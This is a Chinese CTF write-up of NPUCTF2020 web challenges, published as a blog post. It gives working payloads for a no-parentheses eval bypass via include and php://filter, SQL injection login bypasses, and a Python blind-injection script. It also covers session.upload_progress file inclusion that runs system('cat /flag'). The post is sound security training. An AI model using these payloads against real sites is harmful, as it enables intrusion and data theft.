news 2026/9/16 18:16:01

NPUCTF2020 Web题刷题复盘:PHP代码审计与SQL注入过滤绕过实战

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
NPUCTF2020 Web题刷题复盘:PHP代码审计与SQL注入过滤绕过实战

NPUCTF2020是前几年打得比较火的一场CTF,Web方向的题目数量不算多,但质量在入门到进阶的区间里卡得很准。我刷这套题的时候正好在补PHP代码审计和手工注入的基础,一轮下来收获最大的不是某一道题的flag,而是把几个高频绕过点串成了自己的方法论。这篇就当刷题记录写出来,重点不是贴答案,是把每道题的思考路径、卡住的点、以及最后怎么绕过去的逻辑讲清楚。如果你准备刷CTF Web方向,这套题很适合拿来练手。

1. NPUCTF2020 Web题目速览与刷题策略

1.1 那一年的Web题考了些什么

NPUCTF2020的Web题目整体风格偏基础,但少见那种直接送分的情况。翻了一遍题目,大概覆盖了这几个方向:eval代码执行、SQL注入过滤绕过、文件包含与伪协议、命令执行、PHP反序列化、以及一些逻辑漏洞。难度阶梯比较友好,既有十几分钟能出结果的题,也有需要反复试payload卡上一两个小时的题。

从刷题角度来说,这套题最大的价值在于“过滤绕过的花样多”。你会发现很多题并不是没有漏洞,而是漏洞被一层一层的正则过滤给挡住了。比如空格被过滤、关键字被过滤、括号被过滤、注释符被过滤,甚至单双引号也被过滤。这些过滤规则单看都不难突破,但组合在一起就需要你对语言本身有足够的熟悉度。

我当时刷完的感受是:这套题比很多堆奇葩考点的比赛要实用得多,因为它的过滤规则基本都是真实Web应用里会出现的东西。换句话说,刷完这套题,你以后看代码审计题会有明显的手感提升。

1.2 我推荐的刷题顺序

我自己的刷题习惯是:先做有源码能读的题,再做需要手工探测的注入题,最后做依赖知识储备的构造类题目。这套题我也按这个顺序来。

先把eval和文件包含这两道部分源码可以直接看到的题解决,因为这类题目突破口最直观,题解过程能快速带来正反馈。然后做SQL注入,这道题需要手工测试和脚本辅助,适合把状态切到“耐心探测”模式。最后才回头做命令执行、反序列化这类需要更完整知识体系的题目。

这样排序的另一个原因是:刷题效率来自正反馈的密度。如果一上来就死磕反序列化,浪费一整天还不出结果,很容易把刷题的节奏打乱。先把能稳拿的分拿到,心态会稳很多。后面你会发现,做eval和文件包含时积累的伪协议经验,做SQL注入时积累的过滤绕过思路,在做命令执行题时全都用得上。

2. 无括号代码执行:eval题的绕过链

2.1 复现一下题目过滤逻辑

这道题打开以后,给了一个类似代码审计的场景,关键逻辑复现出来大概长这样:

<?php if (isset($_POST['cmd'])) { $code = $_POST['cmd']; if (!preg_match('/;|`|\\|\'|"|\\\\|\*|preg_match|getallheaders|system|passthru|exec|shell_exec|assert|pcntl_exec|eval|\(|\)| /i', $code)) { eval($code); } else { echo 'hacker'; } } ?>

过滤规则一眼看过去密密麻麻,分号、反引号、单双引号、反斜杠、星号、常见命令执行函数、括号、空格全部拉黑。这意味着最常见的system("ls")assert($_POST[1])这类写法全部失效。

2.2 过滤规则逐条拆解

先别急着想绕过,把每条过滤的含义理清楚。

分号和空格被过滤,意味着你不能结束一个语句,也不能在关键字和参数之间加空格。在PHP里,最后一条语句可以省略分号,所以分号的问题还好解决。空格被过滤比较难受,但PHP很多关键字和变量之间不需要空格也能被解析。

括号被过滤,这个才是最关键的。PHP里几乎所有函数调用都需要括号,没有括号你没法调用函数。反引号被过滤,命令执行运算符也不可用。单双引号被过滤,意味着你没法直接构造字符串字面量。

把这些限制放在一起看,常规的RCE路径基本都被堵死了。那还有什么办法?思路要转换一下:既然函数调用被卡死,那就找不需要括号、不需要引号、不需要空格就能执行的东西。

2.3 用include绕过括号和空格

这里有一个很多新手容易忽略的知识点:PHP里有一部分关键字是语言结构,不是函数,调用时不需要括号。典型的有includerequireechoissetempty等。

重点是include。它后面可以直接跟一个变量表达式,不需要括号,也不需要空格把两个token分开。也就是说,include$_GET[1]这样连在一起写,PHP解析器也能正确识别。

那payload就很清楚了:

POST /index.php cmd=include$_GET[1]&1=php://filter/read=convert.base64-encode/resource=flag.php

因为过滤规则里没有过滤include,也没有过滤$_GET,整段代码include$_GET[1]完全绕过了所有过滤条件。eval拿到的字符串是include$_GET[1],执行后相当于包含了$_GET[1]指向的文件。

2.4 完整Payload与抓包验证

在Burp里实际操作的时候,POST的数据大概是这样的:

POST /index.php HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded cmd=include$_GET[1]&1=php://filter/read=convert.base64-encode/resource=flag.php

返回的页面里会有一段base64编码的字符串。拿去解码,就能看到flag.php的原始内容:

PD9waHAgJGZsYWcgPSAnZmxhZ3sxMjN9JzsgPz4=

解码后是:

<?php $flag = 'flag{123}'; ?>

这里解释一下为什么非要套一层convert.base64-encode。直接include flag.php不是不行,问题在于flag.php里的内容是PHP代码,被include之后会被解析执行,而你看到的最多是一张空白页,因为代码只是给变量赋值,并没有echo出来。用base64过滤器之后,文件内容会以base64字符串的形式输出,代码不会被解析,你就能直接看到源码。

2.5 这个绕过思路还能扩展到哪

这道题虽然是个小巧的绕过题,但里面藏的知识点可以外推一大片。如果目标flag不在某个php文件里,而在/flag/proc/self/environ这种系统文件里,也能用同样的include方式去读。比如:

cmd=include$_GET[1]&1=php://filter/read=convert.base64-encode/resource=/flag

再往后延伸,如果题目让你真正getshell,不能调用命令执行函数的情况下,常见的思路是利用include去包含一个你控制内容的临时文件或日志文件,然后靠include执行里面的PHP代码。这也正是后面那道文件包含题的核心思路。

注意:这道题在Burp里直接发请求比较稳。放到浏览器地址栏里测的话,&符号会被浏览器当成参数分隔符或者触发特殊解析,容易被截断,导致$_GET[1]接收不到完整伪协议字符串。

3. 空格与关键字双过滤:SQL注入题的手工与脚本解法

3.1 登录点的过滤规则复现

这道题给了一个登录页面,需要提交用户名和密码。我本地复现出来的核心逻辑大概是这样:

<?php $username = $_POST['username']; $password = $_POST['password']; $sql = "select * from users where username='$username' and password='$password'"; if (preg_match('/ |\t|\r|\n|#|--|or|and|union|select|sleep|benchmark/i', $username . $password)) { die('hacker'); } $result = mysqli_query($conn, $sql); if (mysqli_num_rows($result) > 0) { echo 'login success'; } else { echo 'login failed'; } ?>

过滤规则里有几个重点:空格被过滤、换行被过滤、orand被过滤、union和select被过滤、注释符号#--被过滤。这套规则看起来好像堵得很死,但对熟悉MySQL的人来说,只是绕路的距离变长了而已。

3.2 用||构造永真登录

先想登录绕过。SQL语句是:

select * from users where username='$username' and password='$password'

如果我们把用户名提交成admin'||'1'='1,那么SQL会变成:

select * from users where username='admin'||'1'='1' and password='...'

这里有个关键点:MySQL里||默认是逻辑或运算符,不是字符串拼接符(除非数据库开启了PIPES_AS_CONCAT模式)。所以'admin'||'1'='1'这个表达式的结果是1,where条件成立,登录成功。

为什么用||而不用or?因为or在过滤名单里,||不在。这就是典型的“等价格式绕过关键字过滤”思路。

payload可以写成:

username=admin'||'1'='1 password=任意值

但是注意,空格被过滤了,所以SQL里分隔关键字和值的空格都没了,MySQL解析会出错。这里需要把空格替换成MySQL能识别的空白字符。

3.3 空格被过滤之后的绕过姿势

MySQL支持的空白字符不只是空格本身,还包括%09(Tab)、%0a(换行)、%0b%0c%0d以及/**/注释。既然普通空格被preg_match过滤了,那就用/**/来替代。

登录绕过最终payload:

username=admin'/**/||/**/'1'='1 password=x

这里/**/在MySQL里是注释,但注释中间的内容会被当成一个不可见字符来分隔token,所以admin'/**/||/**/'1'='1解析起来等价于admin' || '1'='1

如果你想要更稳的变体,%0a也是一个选择。但%0a在POST body里有时会被中间件改写,而/**/是纯文本注释,稳定性更高。实测下来,大部分题目的preg_match只过滤了空格本身,没有考虑MySQL的多字符空白符,这就是这道题的关键突破点。

3.4 布尔盲注的脚本化爆破

登录绕过只是第一步,进到后台之后还要拿数据。这道题过滤了unionselect,那常规union注入基本没戏。再看回显,登录成功后只返回“login success”,没有数据回显点,所以要走盲注。

布尔盲注的思路是:构造一个条件,当条件成立时登录成功,不成立时登录失败,然后逐字符猜解。由于or被过滤,条件可以用||来组织。

比如判断当前数据库名长度是否大于3:

username=admin'/**/||/**/if(length(database())>3,1,0)||'1'='1 password=x

如果返回login success,说明条件为真。if如果被过滤(不同题目过滤不同),可以换成case when语法:

username=admin'/**/||/**/case/**/when/**/length(database())>3/**/then/**/1/**/else/**/0/**/end/**/||'1'='1 password=x

一个一个手动试太痛苦,这时候就上脚本。下面这个Python脚本是当时用的二分法逻辑,核心就是循环调用登录接口判断条件真伪:

import requests url = "http://127.0.0.1/sql/index.php" def do(payload): data = { "username": payload, "password": "x" } r = requests.post(url, data=data) return "login success" in r.text def judge(expr): payload = "admin'/**/||/**/if({expr},1,0)||'1'='1".format(expr=expr) return do(payload) def get_length(sql): left, right = 1, 50 while left < right: mid = (left + right) // 2 if judge("length({sql})>{mid}".format(sql=sql, mid=mid)): left = mid + 1 else: right = mid return left def get_char(sql, pos): for c in range(32, 127): if judge("ascii(substr(({sql}),{pos},1))>{c}".format(sql=sql, pos=pos, c=c)): continue else: low = 32 high = c while low < high: mid = (low + high) // 2 if judge("ascii(substr(({sql}),{pos},1))>{mid}".format(sql=sql, pos=pos, mid=mid)): low = mid + 1 else: high = mid return chr(low) return "?" db_len = get_length("database()") print("database length:", db_len) for i in range(1, db_len + 1): print(get_char("database()", i), end="") print()

这段脚本的逻辑是:先用二分法得到长度,再逐位用二分法猜字符。每次请求判断的是ascii(...)>mid这个条件是否成立,再缩小范围直到确定字符。盲注写脚本的核心思路就是二分法,比线性遍历快得多。

3.5 这类题复盘时应该记什么

刷完这道题,我建议你至少把下面这些点记进笔记:

  • 空格被过滤时,MySQL里可用的替代字符有%09%0a%0b%0c%0d/**/
  • orand被过滤时,可以用||&&替代
  • 注释符#--被过滤时,可以用;%00截断或者利用闭合单引号构造永真式
  • if被过滤时,可以用case when ... then ... else ... end
  • =被过滤时,可以用likeinregexp替代

这套“过滤规则 → 等价格式”的映射表,几乎可以套用到所有SQL注入过滤绕过题里。

注意:POST请求里的#如果没做URL编码,会被浏览器当成锚点处理,导致payload不完整。我刚开始测的时候用admin'#直接拦不到包,后来在Burp里手动把#改成%23才正常。

4. 文件包含题:从伪协议读源码到session包含

4.1 入口与第一波读源码

这道题打开之后只有一个参数入口:?file=xxx。修改参数尝试?file=/etc/passwd,回显了内容,确认是文件包含漏洞。

接下来常规操作,用php://filter读源码:

GET /index.php?file=php://filter/read=convert.base64-encode/resource=index.php

返回一段base64,解码之后看到的关键逻辑是:

<?php if (strpos($_GET['file'], 'flag') !== false) { die('no no no'); } include($_GET['file']); ?>

也就是说,它ban掉了文件名里带flag的字符串。按套路先试一下?file=flag.php,果然直接被拦了。

4.2 常规伪协议失效后怎么办

目标已经很明确:读取flag文件。直接包含被拦,那就绕。第一个想到的是用data://伪协议执行代码:

?file=data://text/plain,<?php system('cat flag.php');?>

但页面报错,说明allow_url_include是Off,data://不可用。再用php://input试,也不行。远程文件包含由于allow_url_fopen/allow_url_include的限制基本走不通。

这时候要转换思路:目标不是“直接读flag”,而是“把flag内容搞出来”。既然不能直接读,那就让服务端帮忙执行命令,或者通过间接文件来带出内容。

4.3 利用session.upload_progress写PHP代码

想起之前在看文件包含题目时常用的一个技巧:session.upload_progress。PHP在文件上传时会记录上传进度到session文件里,而且上传时POST的PHP_SESSION_UPLOAD_PROGRESS字段值会被写进session文件。如果把该字段值设置成PHP代码,那么包含session文件就能执行这些代码。

session文件的默认路径是/tmp/sess_<PHPSESSID>,只要知道PHPSESSID就能预测文件路径。

具体步骤:

  1. 先发一个GET请求,从响应头里拿PHPSESSID
  2. POST一个multipart表单,上传一个文件。文件名故意写成<?php system('cat /flag');?>
  3. POST字段带一个PHP_SESSION_UPLOAD_PROGRESS,值任意写
  4. 请求?file=/tmp/sess_<PHPSESSID>

做这步操作的时候,Burp里的原始包大概是:

POST /index.php HTTP/1.1 Host: 127.0.0.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryabc Cookie: PHPSESSID=abcdef123456 Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS" <?php system('cat /flag');?> ------WebKitFormBoundaryabc Content-Disposition: form-data; name="file"; filename="x.php" Content-Type: text/plain x ------WebKitFormBoundaryabc--

这个请求执行后,PHP会在session文件里记录类似这样的内容:

upload_progress_<?php system('cat /flag');?>|...

然后请求:

GET /index.php?file=/tmp/sess_abcdef123456

服务器会include这个session文件,文件里的<?php ... ?>代码会被解析执行,flag就出来了。

4.4 触发包含并验证

实际操作时可能会遇到几个小问题。一个是我构造的filename="x.php"name="PHP_SESSION_UPLOAD_PROGRESS"的顺序不能错,PHP会判断第一个上传的文件和进度字段。另一个是session文件的路径不一定在/tmp,有的环境配置了session.save_path到别的地方。如果包含失败,可以通过phpinfo或者内存报错信息来确认路径。

还有一点,system函数在当前环境是否可用、/flag路径是否存在,都会影响结果。如果system被禁用,可以换file_get_contents('/flag')配合echo,或者用print_r(scandir('/'))先看根目录结构。

这道题复盘下来的核心收获是:文件包含漏洞和session机制结合起来,可以形成一条不需要上传webshell文件就能执行代码的利用链。理解了这个原理,以后遇到任何session文件内容可控的题目,都能顺手试一下这条路。

注意:上传的临时文件名和session文件写入时机有关,如果请求结束后临时文件被删掉,session文件里可能还没有写入进度。所以这个payload要在同一个请求里完成上传和进度触发,不能拆成两个请求。

5. 刷题踩坑实录与常用工具链

5.1 最容易翻车的五个细节

刷这套题的过程中,我在一些细节上栽了不少跟头,整理出来算是给大家省时间。

第一个是URL编码问题。测试SQL注入时,把#直接放在URL里会被当成锚点,导致payload丢失。正确做法是使用%23。测试%0a绕过空格时,也要确认中间件有没有对换行符做二次处理。

第二个是伪协议读源码的base64结果里可能包含+/字符,在URL场景里直接拼接会出问题。我一般用Burp的Decoder或者写Python脚本解码,不要在地址栏里手动处理。

第三个是过滤正则是否忽略大小写。很多题目会用/i修饰符,这意味着UNIONSelect这类大小写变体全部无效。刷题之前先确认这一点,能少走很长一段弯路。

第四个是PHP版本差异。同一道题的payload在PHP 5.6和PHP 7.x下的表现可能完全不同,比如$_GETinclude的解析规则、伪协议的支持范围、session文件的序列化格式,都会因为版本不同产生差异。本地复现时尽量用和题目一致的版本。

第五个是命令执行时的空格问题。如果一道题过滤了空格但没过滤命令拼接,可以用${IFS}$IFS$9<等替代。但不同题目对特殊符号的过滤程度不一样,实测下来${IFS}在大部分Linux环境下可用,<在部分环境的命令解析上没那么稳定。

5.2 我这份刷题流程里常用的工具

工具用途我的使用习惯
Burp Suite抓包、改包、重放、对比响应测SQL注入和文件包含时,基本全程挂着
Python requests写自动化爆破脚本盲注、目录爆破、批量测试payload
HackBar / 浏览器F12快速修改GET/POST参数单个payload快速验证时比较方便
YakitWeb Fuzzer、MITM、插件市场轻量,比Burp启动快,测小项目时用
ffuf / 7kbscan目录扫描拿字典扫常见路径,发现隐藏文件

目录扫描这部分值得多说一句。CTF题目不会像真实网站那样把所有文件都暴露出来,但常见的www.zip.gitrobots.txtflag.phpadmin.php这些路径值得扫一遍。字典不用太大,关键是覆盖CTF的常见命名习惯。

5.3 如何快速复现NPUCTF2020的Web题目环境

复现题目环境其实不难。比如eval和SQL注入这两道题,核心就是一个PHP文件加一个MySQL。用Docker起一个php:7.4-apache容器,把源码挂进去就能快速搭建。

docker run -d --name npuctf-web -p 8080:80 -v /path/to/www:/var/www/html php:7.4-apache

需要数据库的话,再起一个MySQL容器,把连接信息填进config.php。别忘了修改PHP配置,把allow_url_includesession.upload_progress.enabled这些选项按需打开。复现环境的目的是验证自己的payload和过滤逻辑,保持环境干净可控很重要。

6. 复盘之后的个人习惯与建议

6.1 建立自己的payload字典

刷完这套题之后,我最大的改变是开始系统整理payload字典。以前都是从网上看到一条记一条,用的时候翻笔记,结果每次都要重新试一遍才知道哪个能用。后来换成按场景分类整理,比如“SQL注入-空格绕过”“SQL注入-关键字绕过”“文件包含-伪协议”“命令执行-无字母数字”,每个分类下面列实际的请求示例和过滤条件。

这套字典到现在还在用。遇到新题时,先看过滤规则,再对应到字典的分类里找候选payload,速度比从零开始构造快很多。

6.2 把一道题吃到什么程度才算完

我现在判断一道题是否刷透,标准是三条:能不能不看答案重新打一遍、能不能给别人讲清楚每个步骤的原因、能不能自己加一条过滤规则再解出来。

前两条好理解,第三条最有用。比如eval题,原题过滤了括号和空格,那你可以自己改一下,加上过滤include,再想想怎么绕过。这种“魔改题目”的练习方式,比连续刷十道同类型题更能逼你理解原理。

6.3 复盘比刷题重要在哪里

最后分享一个我自己的体会。早期刷题时,我经常是解出来一道题就赶紧去下一道,看起来效率很高,但过两周回头看,发现自己连当时用过的伪协议都记不全了。后来改为每道题花十分钟写复盘,不写答案,只写两条:卡在哪里、用了什么核心突破点。

坚持一段时间后,我发现真正有价值的,是那些卡住时的错误路径。因为下次遇到同类题目,你大概率还会先走一遍错误路径,只有把它们记录下来,才能在下一次更快避开。最终的结果是:刷题量变少了,但通过的题目变多了。这套NPUCTF2020的Web题刷完,如果你也能把每道题的“为什么”讲明白,那它的价值就已经超出了几百分本身。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/16 18:14:23

Pentagi:基于Docker+Neo4j+AI Agent的渗透测试智能工作流架构

1. “Pentagi”不是产品名&#xff0c;而是渗透测试AI代理架构的代号级命名最近在几个红队技术群和开源安全项目讨论区里&#xff0c;频繁看到“pentagi”这个词被当作一个技术代号使用——它既不是官方发布的软件包名&#xff0c;也不是PyPI或Docker Hub上可直接pull的镜像标签…

作者头像 李华
网站建设 2026/9/16 18:11:52

SEO策略无效的7大原因与实战解决方案

1. 为什么你的SEO策略总是无效&#xff1f;深度解析与实战解决方案作为一个在数字营销领域摸爬滚打多年的从业者&#xff0c;我见过太多企业投入大量资源做SEO却收效甚微。上周刚帮一家电商网站诊断SEO问题&#xff0c;他们每月投入2万元做优化&#xff0c;但自然搜索流量连续6…

作者头像 李华
网站建设 2026/9/16 18:08:20

网上鲜花销售系统毕设实战:从数据库设计到Docker部署全流程

简介&#xff1a;这是一套基于Django与Vue的网上鲜花销售系统毕业设计资源&#xff0c;面向计算机相关专业学生、开发者及小微商家&#xff0c;用于完成课程设计、毕业设计或快速搭建在线花店。系统覆盖鲜花展示、购物车、订单管理、用户管理等核心模块&#xff0c;并包含用户注…

作者头像 李华